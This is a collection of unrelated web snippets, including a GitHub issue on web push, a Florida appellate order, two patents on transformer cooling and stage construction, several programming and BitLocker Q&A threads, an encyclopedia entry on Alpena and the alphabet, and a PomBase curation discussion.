dangers, unfortunately, are severe: we expose widespread instances of addresses
that permit user tracking and device geolocation, and a dearth of firewalls in
home networks. We discuss ethics and security guidelines to ensure a safe path
towards more complete hitlists.
|
User:Kenedy007
kenedy is very peacefull place near to cuddalore and we can purchase everything from there ♠
|
Push notifications for mobile
Weird that we don't already have a ticket for this, and I've seen people mention it in IRC the past few days, so let's centralise discussion.
This is a good thing for us to do, and the way to do it is to use service workers and the push api. There are other ways of doing push notifications, but they are all 1 horrible and 2 proprietary. This is the open standard. It is currently in WD, but it's likely it'll be standardised sometime this year, hopefully. I would be very against any other system getting into master. Currently supported on Chrome and FF (on both desktop and mobile). Biggest issue is no Safari yet, but iOS safari doesn't even supports Apple's own web push.
I wonder if apple is ever not behind on something >.>
They'll probably 'invent' web push later this year 😛
Pretty much implemented in https://github.com/thelounge/lounge/compare/xpaw/push-notifications
To do:
Set GCM variables in config
Persist registrations in user config
Allow unsubscribing
Better UI for dealing with subscriptions
Check for active channel/focus/activity
Deal with notifications in queries
As it turns out, using VAPID stuff means admins no longer need a FCM/GCM service or keys. VAPID keys can automatically be generated on the server. This means push notifications will require zero configuration from lounge admins!
🚢
|
Obed DAVILMAR, Petitioner, v. STATE of Florida, Respondent.
No. 1D08-4723.
District Court of Appeal of Florida, First District.
Dec. 5, 2008.
Monique Renee Richardson, Tallahassee, for Petitioner.
Bill McCollum, Attorney General, and Trisha Meggs Pate, Assistant Attorney General, Tallahassee, for Respondent.
PER CURIAM.
The petition is granted and Obed Davil-mar is hereby afforded a belated appeal from judgment and sentence in case number 2006CF3140A in the Circuit Court for Leon County. Upon issuance of mandate in this cause, a copy of this opinion will be provided to the clerk of the circuit court, with directions that it be treated as a notice of appeal. Fla. R.App. P. 9.141(c)(5)(D).
The circuit court is directed to appoint counsel to represent petitioner in the appeal if he qualifies for such an appointment.
PETITION GRANTED.
KAHN, WEBSTER, and VAN NORTWICK, JJ., concur.
|
Life-Force Manipulation
* For a gallery of examples for Life-Force Manipulation, see here.
Also Called
Capabilities
Applications
Controlling and manipulating Life-Force may include other Skills such as:
It is believed that this ability is the building block to all Elemental Abilities
Variations
* Aether Manipulation- The unique celestial element.
* Aura Manipulation- Deals with the concentration of spiritual energy.
* Chi Manipulation- Deals with controlling the body's physical energy.
* Spiritual Force Manipulation- Deals with energy from soul
* Energy Manipulation - Primary ability of this power.
* Mana Manipulation- Combines the essence of both life-energy and magic.
* Samsara Manipulation- Controls the cycle of life
* Touch of Life and Death- Control the flow of life with one's touch.
Limitations
* May require a genetic connector to the source
* Using too much life force may cause one to become exhausted, or die.
* User requires to absorb life energy from others to sustain life after natural death.
|
Magnetic fluid cooler transformer
ABSTRACT
Convective cooling of a distribution transformer is enhanced by use of magnetic fluid which has a magnetically driven flow pattern in the form of a plurality of vertically stacked magnetic circulation cells with convective heat transfer being enhanced by modifying the configuration of a proximate transformer wall to facilitate the transfer of heat from the magnetic fluid to the wall and then to the ambient air.
The present invention is directed to an electromagnetic device producing an external alternating magnetic field which is immersed in a magnetic fluid and more specifically, an improved cooling technique for a transformer.
A typical pole mounted single phase transformer (or other utility type transformer) can be oil cooled, where the oil heats up when in contact with the core and/or coil of the transformer rises, and circulates over to the outer drum wall (the transformer is usually circular) and then as it descends loses heat to the outside air. Various fins and tubes are also used to promote cooling. U.S. Pat. No. 5,462,685 (as well as many other prior art references) discloses that replacing the oil with a magnetic fluid provides a means to improve cooling. The theory of this patent is that through changes in the (temperature-dependent) saturation magnetization of the magnetic fluid the magnetic field preferentially draws the cooler magnetic fluid towards the transformer to displace previously heated hot magnetic fluid in contact with the transformer.
How to fully utilize the fluid motion brought about by changes in fluid density, magnetization or other mechanisms related to interaction with the transformer's alternating magnetic field has not yet been determined in the prior art.
OBJECT OF THE INVENTION
It is therefore an object of this invention to provide a modified electromagnetic device producing an alternating magnetic field which has improved cooling by being immersed in a magnetic fluid.
In accordance with the above object there is provided an electromagnetic device producing an external alternating and gradient magnetic field comprising a substantially closed liquid retaining container for holding the device having at least one wall in proximity to it. Magnetic fluid is retained by the container submerging the device in it, the fluid having a circulation pattern in the form of a plurality of circular flow paths between the wall and the device. The wall has an interior configuration substantially matching the circulation pattern to enhance heat transfer from the device to the wall.
Alternatively rather than an electromagnetic device (e.g., transformer) an external magnetic field may be imposed on a heat producing device immersed in the magnetic fluid.
BRIEF DESCRIPTION OF DRAWINGS
FIG. 1 is a simplified cross sectional view of a transformer embodying the present invention.
FIG. 2 is a cross sectional view taken along the line 2--2 of FIG. 1.
FIG. 3 is a simplified cross sectional view of a standard transformer but showing the concept of the invention and how it is not effective in a standard transformer.
FIG. 4 is a cross sectional view similar to FIG. 1 but of an alternative embodiment.
FIG. 5 is a cross sectional view taken along the line 5--5 of FIG. 4.
FIG. 6 is a simplified cross sectional view of a transformer similar to FIG. 1 but an alternative embodiment.
FIG. 7A is a cross sectional view taken along the line 7A--7A of FIG. 6.
FIG. 7B is a plan view taken substantially along the line 7B--7B of FIG. 6.
FIG. 8 is a cross sectional view of a portion of the wall of a transformer illustrating another embodiment of the invention.
FIG. 9 is a cross sectional view taken along the line 9--9 of FIG. 8, also showing magnetic fluid circulation.
FIG. 10 is a cross sectional view of a portion of the wall of a transformer illustrating another embodiment of the invention.
FIG. 11 is a cross sectional view taken along the line 11--11 of FIG. 10 also showing magnetic fluid circulation.
FIG. 12 is a cross sectional view of another embodiment of the invention.
DETAILED DESCRIPTION OF PREFERRED EMBODIMENTS
FIG. 1 illustrates an electromagnetic device, specifically a transformer 10 which in a typical manner has a rectangular iron core 11, and a pair of primary windings 12, and a pair of secondary windings 13 encircling the two vertical legs of core 11. Insulation 14 of course separates the two windings. The core 11 and windings 12, 13 are held in a cylindrical container 16 which retains a magnetic fluid indicated at 17 in which all the portions of the core and coils of the transformer are immersed. The type of magnetic fluid may possess a saturation magnetization of 90 Gauss, or be of the type of fluid mentioned in the above '685 patent.
In operation when a voltage is applied to the transformer windings magnetic flux appears, of course, in the core and then links the secondary to the primary windings. There are also outside leakage magnetic flux paths, generally indicated at 21. The strength of the leakage flux paths 21 decreases from the vicinity of the core and coil toward the wall of the transformer container 16. Thus, a gradient magnetic field as well as an alternating magnetic field are formed. It is believed that this combination of alternating magnetic field and gradient magnetic field, along with an interaction with gravitational convection, causes the magnetic fluid to form a plurality of magnetic circulation or roll cells indicated as 22a through 22f, each having a rotation or circulation around its own individual axis 22'a, etc.
As illustrated in FIG. 1, where the container 16 is circular, each roll cell is in the shape of a doughnut. In order to take full advantage of these roll cell circulation patterns to enhance heat transfer, the container wall 16, in the embodiment of FIG. 1 includes a matching set of lobes or arcuate portions 23a through 23f.
FIG. 2 illustrates an end view of the lobes. The heat transfer effect of the circulation pattern of the roll cells 22a-22f will be maximized by this interior configuration of the container 16 and the fact the wall is in relatively close proximity to the coils 12 and 13 so that the magnetic field 21 still has some effect.
The theory of the invention is more clearly illustrated and can be explained in conjunction with FIG. 3 which is a more typical transformer container 16' where the core 11 and the primary secondary coils 12 and 13 are suspended in the magnetic fluid 17 but where the container wall 16' is far from the magnetic field. Here as indicated by the double ended arrow 26 the magnetic field is so weak in this area as to not affect circulation of the magnetic fluid 17 and to not enhance heat transfer; in fact, heat transfer to outer wall 16' may be inhibited. Lines 27 illustrate direction of magnetic force due to the magnetic field gradient toward the container wall 16' in the magnetic fluid. The gradient field decreasing toward wall 16' and space 26 is illustrated by diagram 27a. And then the dashed portion of, for example, the end roll cell 28f indicates the weakening of the magnetic field as the distance from the core and coils is increased. (This effect is also shown in FIGS. 1, 4 and 6.) On the other hand the magnetic circulation pattern for roll cell 28b has a relatively strong field. However, it is clear from FIG. 3 that without the close proximity of the wall and its modified configuration that even though small-scale turbulence is introduced because of the use of magnetic fluid it is not utilized effectively to improve heat transfer and will result in almost no improvement over pure oil-cooling and possibly even decreased cooling performance due to increased thermal resistance across the vertical layer indicated at 26.
One other observation regarding a comparison of FIGS. 1 and 3 and the number of magnetic circulation or roll cells is that the number of the cells as well as their specific size may be dictated by transformer type and associated thermal and velocity fields. However it is believed that by taking into account fluid dynamics, energy conservation and mathematical considerations that the roll cells 22a through 22f have substantially horizontal axes 22'a-22'f, and that these cells are substantially vertically stacked, as illustrated in both FIGS. 1 and 3. Moreover as indicated, going back to FIG. 1, for example, between roll cells 22a and 22b the circulation of adjacent roll cells is opposite (in other words, counterclockwise and clockwise) so that there is a point of substantially zero velocity difference between roll cells.
Lastly, the alternating field causes the individual particles to alternate at the microscale. The alternating particles entrain the surrounding carrier fluid (oil base), the sum of all alternating particles resulting in the macroscopic motion demonstrated by roll cells 22a through 22f. Roll cells 22a through 22f which possess too much momentum to follow the frequency of the magnetic field, along with their interaction with gravitational convection, necessarily result in the roll cell pattern.
The supposition of the existence of said roll cells 22a-22f is supported by experimental and numerical evidence. A model of one leg of the typical transformer 10 was designed and instrumented for detailed temperature measurements, and immersed in magnetic fluid 17. Leakage fields 21 were experimentally approximated and detailed temperature measurements performed for a variety of conditions. The experimental set-up was mathematically modeled for the same experimental conditions. The mathematical model was designed to provide information on the temperature and velocity distributions of the magnetic fluid surrounding the transformer model. The experimental results were qualitatively reproduced by the mathematical model for a variety of cases, and both strongly indicated the existence of roll cells. Scale-up of laboratory results to full-scale systems is standard engineering practice, and thus supports the idea of the existence of the plurality of vertically stacked roll cells. Moreover, despite the presence of the alternating field and the tendency of the magnetic fluid particles to alternate with the magnetic field, the gravitational (free) convection will combine with the magnetically-induced motion to create an overall motion described by the roll cells 22a-22f. At the small-scale, the individual particles of the magnetic fluid 17 will alternate with the magnetic field, creating a turbulent situation, thereby increasing the fluid's effective thermal conductivity and a resulting increase in the heat transfer.
Thus, in summary in view of the fluid dynamics and mathematical aspects of how the turbulence is induced by the alternating magnetic field, the present invention for the first time has discovered the foregoing specific circulation pattern. Moreover, by closely matching the configuration of the transformer wall to the roll cell pattern, and by placing the wall in closer proximity to the roll cells, heat transfer from the transformer to the outside air will be significantly enhanced.
FIG. 4 illustrates an alternative embodiment of FIG. 1 where the transformer wall 16 has an interior configuration in the form of horizontal protuberances 31a to 31g which are spaced to conform to the roll cells 22a through 22f. It should be emphasized that both FIGS. 1 and 4 are theoretical drawings of the roll cells including their number and diameter and that no actual measurements of the number or diameter of cells has specifically been made. But through the necessary mathematics of the process, it is believed that FIGS. 1 and 4 more closely approximate the concept of the invention, both theoretically and spatially.
Finally the outer wall of FIG. 4 is shown in FIG. 5 and includes a number of vertical cooling grids 32. Other variations in the transformer wall interior configurations are illustrated in FIGS. 8 through 11 where in FIG. 8 the wall 16 has interior pointed vertical protuberances 33 circumferentially arranged to provide increased surface area and therefore increased heat transfer. The vertical external juxtaposed fins 34 providing for conduction, radiation and convection to the air. FIGS. 10 and 11 show the same type of external vertical protuberance 34 with a matching interior vertical protuberance 36.
Yet another embodiment of the invention is illustrated in FIG. 6 where in an attempt to duplicate the fluid flow of the fin transformer, partial hollow rings 37a through 37f extend from the wall 16 and have a radius of curvature similar to the roll cells 22a through 22f.
The hollow rings being in a doughnut shape, are discrete as illustrated in FIG. 7B with a number of vertical columns around the periphery of the transformer and indicated by, for example, 36'a, 37'a and 37"a. The vertical spacing and the size of the circulating hollow rings is dictated by the number and size of the magnetic circulation cells present in the magnetic fluid. However, it is believed that even if a perfect match is not achieved providing a plurality of the "coffee cup handle" fins, this will still significantly enhance heat transfer. FIG. 12 illustrates an alternative embodiment of the invention where rather than an electromagnetic device such as a transformer producing its own magnetic field an imposed alternating magnetic field is provided by the electromagnet 41 about a container 16". The container, of course, contains the magnetic fluid 17 and it immerses a heat producing device such as, for example, an integrated circuit 42. This is possible because the magnetic fluid is essentially an insulator. And, of course, the container 16" would be of magnetically permeable material. Thus electromagnet 41 produces the gradient field shown at 41a where the intensity decreases on the vertical, y, axis. In accordance with the concept of the present invention, the container side wall 16" and top wall 44 would include as indicated by the dashed lines 43 an interior configuration to match roll patterns.
Thus the mechanism by which heat transfer between the device (be it a transformer or a passive device such as integrated circuit) and the container wall is increased by an increase in the effective thermal conductivity of the magnetic fluid is quite complicated. Of course, as discussed above, as the temperature of the fluid increases, its saturation magnetization decreases, resulting in poor attraction of the magnetic fluid to the magnetic field. This is disclosed in the '685 patent discussed above. It is believed this effect contributes to the roll cell development. In addition the alternating and gradient magnetic field causes the magnetic particles to alternate at some related frequency and results in a form of turbulence that causes the thermal diffusion at the small-scale to increase there. In effect is provided passive turbulence generation with no moving parts and with no additional maintenance apart from what is apparent in transformer operation. The gravitational convection, of course, has been discussed above where the heated fluid is lighter and tends to rise and also there is less attraction by the magnetic field because its saturation magnetization decreases. Because this gravitational convection combines with the magnetically induced motion, the result is the roll cells. Thus because of the combination of the overall motion and the small-scale motion the effective thermal conductivity of the magnetic fluid is increased. To take advantage of this increased effective thermal conductivity, the outer container wall is modified. Effective thermal conductivity relates to the entire heat transfer process and includes the effects of radiation, convection, conduction and both magnetically induced motion and gravitational convection due to changes in density; in other words, all heat transfer mechanisms.
Thus, in summary with the realization that the alternating magnetic field and its gradient along with their interaction with the gravitational (free) convection and the small scale alternating of the magnetic fluid particles form a number of vertically stacked magnetic circulation patterns or roll cells, the provision of a wall configuration to take advantage of this circulation pattern or roll cell substantially enhances heat transfer.
What is claimed is:
1. An electromagnetic device producing an external alternating and gradient magnetic field comprising:a substantially closed liquid retaining container for holding the device having at least one wall in proximity to said device; a dielectric magnetic fluid retained by the container and submerging said device in said container, said magnetic field producing a circulation pattern in the fluid in the form of a plurality of circular flow paths between said wall and said device; said wall having an interior configuration substantially matching said circulation pattern to enhance heat transfer from said device to said wall.
2. A device as in claim 1 where said circular flow paths are relatively distinct from one another to form a plurality of magnetic circulation or roll cells having a rotation or circulation around an axis.
3. A device as in claim 2 where adjacent roll cells counter rotate with respect to each other to provide at some point substantially zero velocity difference between roll cells.
4. A device as in claim 1 where heat transfer from said electromagnetic device through said magnetic fluid to said wall occurs mainly through an increase in said fluid's effective thermal conductivity.
5. A device as in claim 1 where the external surface of the wall includes a grid for transferring heat to the surrounding ambient air.
6. A device as in claim 2 where said roll cells are substantially vertically stacked with axes which are substantially horizontal.
7. A device as in claim 1 where said wall is in close enough proximity to said device so that said magnetic fluid in proximity to said wall is still affected by said magnetic field.
8. A device as in claim 1 where said interior configuration of said wall is in the form of arcuate segments substantially matching said circular flow paths.
9. A device as in claim 1 where said interior configuration of said wall is in the form of spaced horizontal protuberances substantially matching the plurality of circular flow paths.
10. A device as in claim 1 where said interior configuration of said wall is in the form of spaced vertical protuberances providing additional surface area for enhancing heat transfer.
11. A device as in claim 10 where said external wall includes vertical protuberances for radiation, conduction, and convection to the air which are juxtaposed with said interior vertical protuberances.
12. A device as in claim 1 where said interior configuration of said wall includes partial hollow rings extending from said wall having a radius of curvature similar to that of said circular flow paths.
13. A method of cooling an electromagnetic device producing an external alternating and gradient magnetic field comprising the following steps:immersing said device in a dielectric magnetic fluid whereby such alternating and gradient magnetic field causes such fluid to have a circulation pattern in the form of a plurality of circular flow paths; and enclosing said immersed device in a container which has an interior configuration to match said circulation pattern to enhance heat transfer from said device to said wall.
14. A magnetic fluid cooling system comprising:an active device which generates heat; a substantially closed liquid container having at least one wall in proximity to said device for holding the device and filled with said magnetic fluid which is a dielectric to immerse said device; means for producing an alternating and gradient magnetic field which at least passes through said magnetic fluid in proximity to said device for producing a circulation pattern in said fluid in the form of a plurality of circular flow paths between the wall and the device; said wall having an interior configuration substantially matching said circulation pattern to enhance heat transfer between said device and said wall by increasing the effective thermal conductivity of said magnetic fluid.
15. A system as in claim 14 where said device is a transformer which also produces said alternating magnetic field.
|
Next.JS - TypeError: Only absolute URLs are supported
I'm using the qraphql-request library to fetch data.
The request to the data is stored in a directory called video/[slug].js
here's the code for the data fetching:
import {gql, GraphQLClient } from 'graphql-request'
export const getServerSideProps = async (pageContext) => {
const url = process.env.ENDPOINT
const graphQLClient = new GraphQLClient(url, {
headers: {
"Authorization" : process.env.GRAPH_CMS_TOKEN
}
})
const pageSlug = pageContext.query.slug
const query = gql`
query($pageSlug: String!) {
video(where: {
slug: $pageSlug
}) {
createdAt,
id,
title,
description,
seen,
slug,
tags,
thumbnail {
url
},
mp4 {
url
}
}
}
`
const variables = {
pageSlug,
}
const data = await graphQLClient.request(query, variables)
const video = data.video
return {
props: {
video
}
}
}
const Video = ({video}) => {
console.log(video);
return (
<div></div>
)
}
export default Video
when I visit "http://localhost:3000/video/jaws" I get this error.
I'm using GraphCMS as my CMS.
What value does process.env.ENDPOINT have? Is it a relative or absolute URL?
@juliomalves "https://api-eu-central-1.graphcms.com/v2/cktrcml932edq01yzas474yxj/master".
I got it from graphCMS. That's how i connected my app to the backend
|
Expo 36 with warning: componentWillReceiveProps has been renamed, and is not recommended for use.
I face some warning after upgrading expo 36, please help to change:
componentWillReceiveProps has been renamed, and is not recommended for use.
Hi @nguyenrio18
We can't help you with this issue because UI Kitten components don't use componentWillReceiveProps function, so this issue does not belong to this library
|
1216.0 - Australian Standard Geographical Classification (ASGC), Jul 2009
Previous ISSUE Released at 11:30 AM (CANBERRA TIME) 16/09/2009
Page tools: Print Page Print All RSS Search this Product
Contents >> Introduction >> Principles of the ASGC
PRINCIPLES OF THE ASGC
The ASGC is constructed on the principle that it must fulfil user needs for spatial statistics while also conforming to general classification principles.
Classification principles
The ASGC is constructed on the basic classification principles that members within one class are of the same type, classes are uniquely defined so as to be mutually exclusive and, in total, the members in each class cover the entire class.
As a result, the geographical units of each hierarchical level in each classification structure of the ASGC are:
• of the same type, delimited by well-defined criteria
• clearly demarcated by precise boundaries
• uniquely identified by codes and names
• mutually exclusive
• in aggregate cover the whole area to which that hierarchy applies.
User needs
The ASGC is designed to meet user needs for social, demographic and economic statistics. The smallest units of the ASGC i.e. CDs at census times and SLAs at intercensal times, have been designed such that they are:
• convenient and efficient for data collection
• useful and relevant for data dissemination
• flexible for aggregation to larger units
• useful building blocks for user-defined regions.
Thus, CDs are designed for efficient data collection at census times. Each CD covers an area which allows census data to be collected in an efficient and cost effective manner. SLAs are defined on the administrative areas of local governments. Local governments are both a useful source of data and a relevant dissemination unit for users.
CDs aggregate to SLAs which, in turn, aggregate to other larger areas of the ASGC. Each of these geographical areas serves a specific purpose and meets user needs. Many organisations employ the CDs and the SLAs as the building blocks to construct their own geography for statistical purposes.
Previous PageNext Page
|
FEATURE: Add Delete() to Settings db store.
@cpacia CR please
I want this for tests and this seemed like the best way to implement it. Let me know if you'd prefer another way.
Coverage decreased (-0.3%) to 60.129% when pulling 72b441ea294e870cb89424f9640821a0fb12abb6 on TS_delete_settings into 4c200c5ce0ae0f164570a7c08aee50069e6db667 on master.
|
wholesome food.
ALPENA, alpe'na, MICH., the county seat of Alpena County, in the northeastern part of the state, is situated on both banks of Thunder Bay River and on Thunder Bay, a small arm of Lake Huron. Bay City is 124 miles south, and Saginaw is 152 miles, also south. The population in 1910 was 10,763; in 1914 it was 11,234. The area is seven square miles.
Alpena has an excellent harbor, which has been improved by the Federal government. The surrounding counties, abounding in small lakes, are an agricultural and timber section. Near the city are quantities of limestone, clay and shale. These and the timber supply raw material for two of the largest manufacturing industries, paper (wood pulp) mills and th< cement works. Besides these there are tan neries, extract works (hemlock), foundries and machine shops, woolen mills, sawmills and ex celsior mills. Alpena is served by the Detroit A Mackinaw railroad, and there are steamship lines to Detroit
The city and vicinity arc favorite summer resorts. In the many small lakes are quanti ties of speckled trout, black bass and p< In some parts partridge, duck, deer and fox are abundant. The city has four parks and among the public buildings an loral
The site occupied by Alpena is an old Indian
burying ground. In 1835 a trading post was established, and a permanent settlement was made in 1858. A city charter was obtained in 1871. The commission form of government was adopted in 1916. H.M.H.
ALPHA, a/' fa h, AND OMEGA, o me' ga, an expression often used to convey the idea of completeness, for the two words are the first and last letters of the Greek alphabet. They are used as a symbol of God in Revelations I, 8; "I am Alpha and Omega . . which is, and which was and which is to come." At one time the letters were emblematic of Christian ity, being engraved on the tombs of the early Christians.
similar use in other sciences.
ALPHABET, al 'fa bet. When this word is used to designate the series of characters used in writing a language it means exactly what the child's "A-B-C" means, for Alpha and Beta are the first two letters of the Greek alphabet. As long as civilization was on a low plane and people had little communication with each other except by word of mouth, such a thing as an alphabet was unthought of. Gradually, however, the necessity arose of being able to send word to people at a distance or to record certain events, and a rude form of picture writing came into existence. This represented words or ideas, however, and not sounds, as does the true alphabet. For instance, if a man in one village wished to send word to a man in another village that he had been attacked by a number of enemies, he might draw a rough picture of a man at a tent door himself being made the target of the numer ous spears of other crudely drawn men. Kip ling in his Just-So Stories has two very inter esting fanciful talcs called The First Letter and The Making of the Alphabet which sho'v the possible origin of such communication.
But such picture-writing was always likely to be misunderstood, and it gradually became clear ilnt characters representing sounds would furnish the only sure means of communication. So far as is known, the Phoenicians were the first to invent an alphabet, in this true sense of the term, though it Is possible that they received suggestions from the cuneiform writing of the Babylonians or the hieroglyphics of the Egyptians. At any rate, the Greeks, when they came into contact with the Phoenicians, found the latter to possess the very useful art of ing with an alphabet, and that art they
|
JSoup returns an invalid HTML
I'm working with JSoup 1.11.3 from Maven. I'm trying to make absolute relatives href, my code is in the following:
public String updateHrefs (String htmlContent, String baseUrl, String currentUrl) {
org.jsoup.nodes.Document doc = Jsoup.parse(htmlContent);
Elements links = doc.getElementsByTag("a");
for (org.jsoup.nodes.Element link : links) {
String absHref = link.attr("href");
System.out.println("URL before " + absHref);
if (absHref.equals("")) {
absHref = baseUrl;
} else if ((absHref.length()>1) && absHref.substring(0, 2).equals("//")) {
absHref = absHref;
} else if (absHref.equals("http")) {
absHref = absHref;
} else if (absHref.substring(0, 1).equals("/")) {
absHref = baseUrl + absHref;
} else if (absHref.substring(0, 1).equals("#")) {
absHref = baseUrl + currentUrl + absHref;
} else {
absHref = baseUrl + "/" + absHref;
}
System.out.println("URL after " + absHref);
link.attr("href", absHref);
}
return doc.outerHtml();
}
At the end I pass the result to a html-to-pdf engine and it returns the error that a
<p>
tag is not closed. I tried the html-to-pdf engine with the original html and it works: is it possible that there is an issue in JSoup? thanks
Jsoup creates a DOM tree so I can't imagine a path where a tag that is not self closing would be output in the generated HTML. I'm not sure how your a href changes would be relevant to that anyway.
Can you provide more code so we can replicate? I.e. what's the input, what's the output, which p is unbalanced.
Also you might like to look at the abs:href pseudo attribute as discussed in this article.
|
Why does Bitlocker keep on showing me this error?
Bitlocker keeps on showing that "an error occurred" and points to a "hardware fault". However, even after I ran chkdsk /r, I keep on getting this error when decrypting.
Here's an image of the error described above:
Need more information. SSD or traditional drive? Is it the system drive? Is it Sata, USB? Are you sure the disk isn't failing? Check the application log in event viewer for source chkdsk to get the results of a couple of the past scans and share the details with us.
This is a 500GB HDD, system drive, sata. And the disk is not failing
Probably chkdsk /r found some errors but didn't repaired them all, so a more exhaustive check is necessary. Run chkdsk /r /f and restart twice. This will ensure your data is recovered fully.
If this doesn't work, then read the last part of the message:
If these errors persist this may be indicative of a hardware fault.
In which case you may be looking for profesional help to recover your data.
it's says "Invalid parameter - /p" when I input "chkdsk /p /r /f" in the command prompt
@justin don't know where I saw that /p, in any case was a mistake, I removed it.
remember to run cmd as administrator
Sorry, this did not help at all. I still get the error shown above.
@justin see my update.
Using /b will re-evaluate the clusters marked as bad. It is worth a try.
chkdsk /b
Likely you do have physical problem with the disk that may be a sign it is going to die. You can use HDTUNE or a similar program to monitor the SMART stats and perform some tests.
I have had many disk die a slow death and the common warning sign is if you keep running chkdsk and find more errors each time.
In any case be sure you have a full backup.
chkdsk /b still does not solve the problem for me.
|
updated version of community curation spotlight graph
papers curated (5).pdf
Looks like something has happened this year...
275 papers curated 2018 vs 300 in 2017
well...although it would be nicer to be higher year on year, I thought we would be much lower this year with all of the other projects....
275 papers curated 2018 vs 300 in 2017
where di you get these numbers?
The stats page...this table
[cid:167b674807533c7092e1]
Antonia Lock, PhD
PomBase Biocurator, http://www.pombase.org
Department of Genetics, Evolution and Environment,
The Darwin Building,
University College London
London WC1E 6BT, UK
285 v 302 now :-)
I did ~10 really quick old ones yesterday because it was too cold to go outside, and there are ~10 in approval....
BUT, @kimrutherford why did 2017 go up too, if this is "year curated" ?
did it?
BUT, @kimrutherford why did 2017 go up too, if this is "year curated" ?
The counts are for the year when the session are submitted - ie. when the go into the needs_approval state. Could you have approved or re-approved some sessions that were first submitted in 2017?
275 papers curated 2018 vs 300 in 2017
vs
285 v 302 now :-)
Could you have approved or re-approved some sessions that were first submitted in 2017?
definitely, but I thought they still had the first submitted date?
Very possible I rounded 302 to 300
definitely, but I thought they still had the first submitted date?
They do. So if there is a session submitted in 2017 and you take it out of approval today, the 2017 count will go down in the table. If you approve it later the 2017 count will go up. Could that explain the 2017 number changing?
@kimrutherford can you do this one when you get chance, its only the image update
I've update the image on the main site. How does this look?
much better, and you can see that we are doing fewer of the newer papers..
|
Circumferential stereo spectacular, 360 degrees vertically and horizontally, with live center stage built by economical, universal construction devices
ABSTRACT
A construction apparatus for models, stagecraft, models of matrices and the like. Elements with locations at equal increments construct a mosaic of locations and points in a tetrahedron solid or portion thereof with each selected point in predetermined angular and linear relationship to every other selected point in the mosaic. A selected ratio in size constructs a scale model of a full-size structure with corresponding mosaics. Components rotate at any location. Adjustable elements select any point in relation to said mosaic. Any component is movable to any corresponding location in said mosaic. An integral connector may include two parts facing outwardly on opposite sides of a location. First part includes a resilient snap-ring in a retaining groove adjacent to a polygonal recess. The first part engages a second part with a polygonal protrusion at a location in a second element. The edges of said protrusion expand said snap-ring to engage the two parts in a predetermined orientation. By minimizing frictional wear between the connector faces in engaging, the elements have lifetime durability. An integral connector facilitates construction of regular polygons in assembly and disassembly, with stability, accuracy, and ease of alignment of the elements. A connector does not depend upon gravity for engagement and therefore is adapted for use in non-gravity situations. Connectors include triangular, hexagonal shapes, and subconnectors rotatable 360 degrees, selectively integral and at each location.
This is a continuation of co pending application Ser. No. 609,691 filed on Sept. 2, 1975, said co pending application to be abandoned after entry of this said continuation with an official filing date co pending with said application Ser. No. 609,691 which is a prior application; and a division of the parent application with Ser. No. 302,901 filed Nov. 1, 1972; both said applications filed by applicant herein, Henry Merritt Farnum.
Objectives of the art of construction of a structure, a scene, an artistic object, a spectacular, or a model thereof, include efficiency, the resultant economy, and the artistic effect achieved in construction and design.
Those products of the art of construction are useful in the community. The foregoing efficiency, economies, and artistic results also are important in the design and construction of those products in the entertainment industry where lifelike structures and events are depicted with the immediacy and excitement of reality, as in theatres, on stage, at international expositions and world's fairs, and in the production of television and motion picture film and videotape.
An object of this invention is to achieve simplicity, flexibility, and universality in the construction of those structures, scenes, artistic objects, spectaculars, models, and designs, with at least nine efficiencies hereafter set forth. The object is economy in the cost of materials and structural elements used, in the cost of their design and use in construction, and in their permanent usefulness and interchangeability for diverse, multiple purposes, by features comprising advances over the prior art. It is a further object of this invention to communicate to a human observor the excitement, immediacy, and thrilling presence of his total environment. For example, the participant experiences three-dimensional stereo in a spectacular above, beneath, and around his vantage point circumferentially, 360 degrees vertically and 360 degrees horizontally, amidst total theatre on the live center stage built by economical, universal construction devices, all the foregoing by the teaching of this invention.
BRIEF SUMMARY
A spectacular, a cyclorama, a structure, and a realistic scene, each is created for its functional purpose. A model of each is created for a purpose such as drafting or design, or to create the appearance of reality.
Examples include a structure in the community, a dramatic stage in a theatre, the features and structures of an exposition (such as the New York World's Fair in 1964-1965), a cyclorama and an amphitheatre, or a theatre-in-the-round with circumferential audience.
A spectacular is viewed, for example, from the standpoint of a participant in a theatrical production, or from the viewpoint of a spectator in an audience. The observation point of the observor may be within or outside of the scene. The effect upon the observor is his participation in the sense of reality. When such participation transcends the illusion, the event itself becomes the reality. Then the observor remembers the event as a high point in his lifetime.
It is apparent that the cost of building and revising the design of a spectacular, structure, scene, and model is important, including the efficiencies in such construction to reduce costs.
Nine of those efficiencies (hereinafter "nine efficiencies") follow.
1. Efficiency in fabrication of a single, original structural element.
2. Efficiency in duplicating the original structural element.
3. Efficiency in volume production of similar structural elements by use of modern tachnology and materials.
4. Interchangeability among structural elements.
5. Efficiency in cost of location of a structural subcomponent without measurement, and without construction of a special means such as a hole for such location.
6. Inherent rigidity of each enclosed triangle in each plane constructed with said structural elements, and in each enclosed solid comprising a plurality of said planes each comprising enclosed triangles.
7. Economy resulting from the inherent adaptability of each plane comprising a six-pointed star or segment thereof, to be disengaged at each corresponding vertex of at least one said star, with the results of easy portability and storage of each structure designed for that advantage.
8. Efficiency in relocation of each structural subcomponent elsewhere within the structure to visualize a change in design, or to revise said design.
9. Efficiency in re-application of structural elements for new uses, so that it is unnecessary to to discard a structural element after its original purpose has been accomplished.
Thus it is apparent that such linear structural elements are adapted to structures varying in magnitude by a factor of hundreds to one (e.g., a one inch tetrahedron, and also a tetrahedron with a side nine feet long). It will be shown that the Nine Efficiencies characterize each corresponding dimension within the tetrahedron, a solid, and also on its surfaces.
A curved structural element is here defined as an element other than linear. In contrast with linear structural elements, curved elements, including spherical elements, inherently lack the nine efficiencies. Thus curved elements in the prior art must be re-engineered whenever the respective radius of each structure changes by a few percentage points or less, and whenever small, minute tolerances in dimensional locations are exceeded by dimensional variations in the curved or spherical structure.
An entertainment such as an amphitheatre comprising the center arena of an international exposition or world's fair is educational and exciting. Said event combines the reality of the exposition site, with imaginative structures created by the teaching of this invention, and with projected color scenes, in stereo, which this invention creates circumferentially around, above, and beneath the observor.
Thus the observer experiences the immediacy of a total environment created instantaneously, with views to the horizon upward and beneath, in every direction, sensing the reality of any geographical location however remote, and transported in time by the representation of any event in history, or in the future.
To the extent that the observer's field is enlarged by this invention to 360 degrees both horizontally and vertically, the visual and peripheral fields of the observor are saturated by sensations, whatever mobility the observor exercises by eyes, head, or body, within the environment. To the extent that the visual field of the observor is enveloped for the complete range of his vision, such as 180 degrees on a horizontal plane and 360 degrees on a vertical plane, his visual senses are saturated while he moves freely within a defined area.
